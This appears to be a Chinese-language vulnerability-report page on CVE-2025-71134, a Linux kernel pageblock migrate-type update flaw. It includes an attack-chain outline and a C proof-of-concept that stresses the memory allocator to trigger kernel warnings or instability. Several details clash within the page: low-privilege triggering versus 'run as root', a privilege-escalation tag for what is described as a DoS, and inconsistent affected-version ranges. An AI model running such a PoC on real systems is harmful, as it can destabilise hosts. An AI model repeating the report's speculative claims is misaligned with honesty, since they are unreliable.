IPBUF安全漏洞报告
English
CVE-2025-71134 CVSS 5.5 中危

CVE-2025-71134: Linux内核页面分配器pageblock迁移类型更新不完整漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71134
漏洞类型
内存管理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存管理页面分配器pageblockmigrate type本地提权拒绝服务CVE-2025-71134mm/page_allocbuddy allocator

漏洞概述

CVE-2025-71134是Linux内核6.18.0版本中的一个中等严重性漏洞,位于内存页面分配子系统(mm/page_alloc.c)。该漏洞源于页面块(pageblock)迁移类型更新逻辑的不完整性。当释放页面并与buddy页面合并时,如果两个页面的迁移类型不同,系统应该将buddy页面的所有pageblock更新为匹配的迁移类型。然而,当前实现仅更新了buddy页面的第一个pageblock,导致剩余pageblock的迁移类型保持不一致状态。这种不一致会在后续的内存分配操作(如expand函数)中触发警告,最终可能导致系统稳定性问题,如拒绝服务。该漏洞需要本地低权限访问即可触发,无需用户交互。

技术细节

在Linux内核的buddy内存分配器中,页面根据迁移类型进行管理(用于cma、movable等不同用途)。当调用__free_pages()释放页面时,如果相邻的buddy页面可用,系统会尝试将两者合并成更高阶的页面。在合并过程中,如果buddy页面的迁移类型与当前释放页面不同,代码应该调用set_pageblock_migratetype()来统一迁移类型。

漏洞出现在rmqueue_bulk() -> expand()调用链中。当页面从freelist中分配并展开时,系统检查page->index(存储迁移类型)与当前分配的migratetype是否匹配。对于跨多个pageblock的高阶页面,如果只有第一个pageblock被正确更新,而后续pageblock仍保持旧的迁移类型,就会触发pagealloc.c:812行的WARNING。

从提供的内核日志可以看到:'page type is 0, passed migratetype is 1 (nr=256)',这表明页面实际迁移类型为0(MIGRATE_UNMOVABLE),但请求的迁移类型为1(MIGRATE_MOVABLE),nr=256表示这是256个页面(256 * PAGE_SIZE = 1MB)。问题根源在于free_page_isolate()或类似路径中,只调用了set_pageblock_migratetype()一次,而没有遍历所有相关的pageblock。

攻击链分析

STEP 1
1. 本地低权限访问
攻击者以本地低权限用户身份访问目标系统,无需特殊权限即可触发内存分配路径
STEP 2
2. 触发特定内存分配模式
通过分配和释放不同迁移类型的页面(movable vs unmovable),创建页面块迁移类型不一致的状态
STEP 3
3. 触发页面合并(coalescing)
释放页面时与buddy页面合并,此时迁移类型更新逻辑不完整,只更新第一个pageblock
STEP 4
4. 触发expand()路径
后续分配请求触发expand()函数,该函数检测到page->index与实际pageblock迁移类型不一致
STEP 5
5. 触发WARNING并可能DoS
内核在page_alloc.c:812行触发WARNING,在某些情况下可能导致系统不稳定或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71134: Linux kernel pageblock migratetype inconsistency * This PoC triggers the page allocation path that exposes the migratetype mismatch * * Compile: gcc -o cve_2025_71134_poc cve_2025_71134_poc.c -Wall * Run as root on vulnerable kernel * * Note: This is a conceptual PoC. Actual exploitation requires kernel debugging. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> #define PAGE_SIZE 4096 #define HUGE_PAGE_ORDER 8 /* 256 pages = 1MB */ /* Trigger THP allocation which internally uses rmqueue paths */ void trigger_thp_allocation(void) { void *addr; int ret; /* Request THP (Transparent Huge Page) allocation */ addr = mmap(NULL, 2 * 1024 * 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { /* Fallback: try MADV_HUGEPAGE */ addr = mmap(NULL, 2 * 1024 * 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr != MAP_FAILED) { madvise(addr, 2 * 1024 * 1024, MADV_HUGEPAGE); memset(addr, 0x41, 2 * 1024 * 1024); printf("THP allocation triggered\n"); } } else { printf("HugeTLB allocation successful at %p\n", addr); memset(addr, 0x42, 2 * 1024 * 1024); } if (addr != MAP_FAILED) { /* Free in specific pattern to trigger coalescing */ munmap(addr, 2 * 1024 * 1024); } } /* Stress memory allocator to trigger pageblock fragmentation */ void stress_allocator(void) { void *ptrs[64]; int i; for (i = 0; i < 64; i++) { ptrs[i] = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (ptrs[i] != MAP_FAILED) { memset(ptrs[i], 0xAA, PAGE_SIZE * 512); } } /* Free alternating pages to create migration type mismatch */ for (i = 0; i < 64; i += 2) { if (ptrs[i] != MAP_FAILED) { munmap(ptrs[i], PAGE_SIZE * 512); ptrs[i] = NULL; } } /* Reallocate to trigger coalescing with mixed pageblocks */ for (i = 0; i < 64; i += 2) { if (ptrs[i] == NULL) { ptrs[i] = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); } } /* Cleanup */ for (i = 0; i < 64; i++) { if (ptrs[i] != NULL) { munmap(ptrs[i], PAGE_SIZE * 512); } } } int main(int argc, char *argv[]) { printf("CVE-2025-71134 PoC - Linux Kernel pageblock migratetype issue\n"); printf("======================================================\n"); if (geteuid() != 0) { printf("Warning: This PoC should be run as root for full effect\n"); } printf("Triggering THP allocation stress...\n"); for (int i = 0; i < 10; i++) { trigger_thp_allocation(); usleep(100000); } printf("Stress testing memory allocator...\n"); for (int i = 0; i < 5; i++) { stress_allocator(); usleep(100000); } printf("PoC execution complete. Check dmesg for WARNING messages.\n"); return 0; }

影响范围

Linux Kernel 6.18.0
Linux Kernel < 6.12.12
Linux Kernel < 6.6.67
Linux Kernel stable branches before patch 7838a4eb8a1d

防御指南

临时缓解措施
目前没有已知的临时缓解措施可以完全避免此漏洞。建议尽快应用内核安全补丁。如果无法立即升级,可通过限制非特权用户的大内存分配请求(如限制cgroup内存限额)来减少触发概率,但无法从根本上解决问题。监控dmesg日志中的page_alloc WARNING信息可帮助检测该漏洞被触发的情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表